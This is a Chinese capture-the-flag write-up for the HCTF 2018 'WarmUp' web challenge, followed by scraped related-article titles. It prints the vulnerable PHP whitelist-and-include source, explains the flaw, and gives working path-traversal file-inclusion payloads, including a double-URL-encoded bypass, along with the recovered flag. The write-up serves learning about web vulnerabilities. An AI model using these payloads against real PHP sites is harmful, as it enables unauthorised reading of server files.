[HCTF 2018]WarmUp 1
主页面是一个滑稽
得到source.php
观看源码,提示source.php
访问看到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
通过源码得到hint.php
,尝试包含改文件
得到flag在ffffllllaaaagggg
中
直接包含是失败的,所以这里需要分析源码。
分析file传参
追踪源码的接受参数file
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
判断是否通过$_REQUEST
方法获取file
传参,通过is_string
函数判断必须是一个字符串,emmm:checkFile
自定义函数判断file
所以这里继续追踪到checkFile()
函数
分析checkFile()方法
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
定义了几种可以成功包含文件的条件
第一种可以绕过的条件
1.通过
isset()
判断,如果为空返回false,不为空返回true,这里取反,为空就是true,不为空就是false。还有is_string()
判断,默认是字符串就为true,不为字符串就是false;这里也进行了取反,所以是字符串就是false,不为字符串就是true,所以这里字符串不能为空和不能不是字符串,否则会返回失败。
如果page在whitelist
列表中,则会返回true。
所以如果绕过这里,file传入参数必须是source.php、hint.php
,所以这里没有方法包含ffffllllaaaagggg
第二种可以绕过的条件
2.使用
mb_substr()
方法截取字符串,其中第二个值为截取的结束位置,mb_strpos()会获取第一个字符出现的位置;
所以这里就是通过mb_substr函数配合mb_strpos()获取第一个?出现的位置之前的内容
举例说明
?file=source.php ->传入变为-> source.php? ->通过mb_strpos()截取-> source.php
传入后默认会给我们的文件名加上一个?号,然后通过mb_strpos获取传入的文件名,最后判断文件名是否在whitelist
列表中,如果存在则成功包含文件
这里可以进行绕过,payload如下
?file=source.php?./../../../../../ffffllllaaaagggg
得到flag
flag{adf218fe-948c-4a5d-8245-8bf91ff819d7}
payload分析,由于通过mb_strpos()
函数获取?前面的内容判断是否存在列表,这里source.php、hint.php
都可以为文件名,然后加入?
后面提供传参,因为include()
函数支持./、../
这种相对路径,而且这关flag
刚好在根目录下,所以可以得到flag。
第三绕过的方法
与第二种一样,不过对page
多了一个urldecode()
url解码的过程,这里可以使用二次编码绕过
,将?编码两次进行绕过。
?
的二次编码为%25%33%66
payload如下
?file=source.php%25%33%66./../../../../ffffllllaaaagggg
二次编码的原理是,中间件默认会进行一个url解码,然后传入PHP中又进行了一次解码,所以可以进行二次编码注入
[HCTF 2018]WarmUp 1的更多相关文章
- [原题复现]HCTF 2018 Warmup(文件包含)
HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...
- 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup
攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...
- [HCTF 2018]WarmUp
靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php highlight_file(__FILE__) ...
- [BUUOJ记录] [HCTF 2018]WarmUp
BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...
- 刷题[HCTF 2018]WarmUp
解题思路 进入页面之后,一个大大的滑稽. 查看源码 查看源码发现有source.php .打开 发现还有一个hint.php.打开发现 由此可知是代码审计了 解题 代码审计 先看此段代码,大致意思是. ...
- CTF-WEB-HCTF 2018 Warmup
题目链接 攻防世界-Warmup 解题思路 [原题复现]HCTF 2018 Warmup(文件包含)
- warmup(HCTF 2018)
为啥想写这道题的wp呢,因为这道题就是照着phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)复现出来的 题目 查看源码很容易找到source.php,直接访问 分析 题 ...
- BUUCTF | [HCTF 2018]admin
首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“, ...
- [HCTF 2018]admin
前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,相比是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...
- BUUCTF-[HCTF 2018]WarmUp
php中可以使用strpos函数与mb_strpos函数获取指定的字符串在别一个字符串中首次出现的位置,也可以使用它们判断一串字符串中是否包含别一个字符串. PHP strpos() 函数 查找 &q ...
随机推荐
- oracle常用知识随笔
1.创建表空间及用户赋权 create tablespace spaceone datafile '/dev/spaceone'size 80mextent management localsegme ...
- Kubernetes--Ingress资源
Ingress资源 Kubernetes提供了两种内建的云端负载均衡机制(cloud load balancing)用于发布公共应用,一种是工作于传输层的Service资源,它实现的是"TC ...
- js检测邮箱格式,正则检测邮箱格式
网上搜了关于邮箱格式的检测,发现很多不太适用,我自己写了一个,可以检测有开头和没开头的,又可以检测@,@qq. 后的格式 var myReg=/^(\w|(\.\w+))+@([a-zA-Z0-9_- ...
- Study python_04
数组 a = [1,2,3] print(a) 数组替换 a = [1,2,3] a[0] = 100 print(a) 数组去重复 def delete_chong(): a = [1,1,2,2, ...
- HDFS 内部工作机制
HDFS 内部工作机制 HDFS集群分为两大角色:NameNode.DataNode (Secondary Namenode) NameNode 负责管理整个文件系统的元数据 DataNode 负责管 ...
- Docker基本命令之 容器管理
容器管理 查看正在运行的容器: docker ps 查看完整信息:docker ps --no-trunc 查看在运行或停止运行的容器:docker ps -a 查看容器系统资源的使用情况:docke ...
- Vue3父组件调用子组件内部的方法
1. 子组件中定义方法并通过defineExpose暴露出去 import { reactive, defineExpose } from "vue"; const state = ...
- python 时间戳转日期 不自动补零 without zero-padding
1. 时间戳转日期 代码 import time timestamp = 1568171336 time_format = "%Y-%m-%d %H:%M:%S" time_loc ...
- qt的窗口
1.窗口.字部件以及窗口类型(记得不牢固的) (1)#include<QtWidget> Widgets是在Qt中创建用户界面的主要元素. Widgets可以显示数据和状态信息,接收用 ...
- 延期!欧盟新标EN IEC 62368-1:2020延至2024年7月6日生效
近日,TC108X成员投票同意将EN IEC 62368-1:2020(对应IEC 62368-1第三版)的DOW (Date Of Withdrawn)日期由原先的2023年1月6日延长至2024年 ...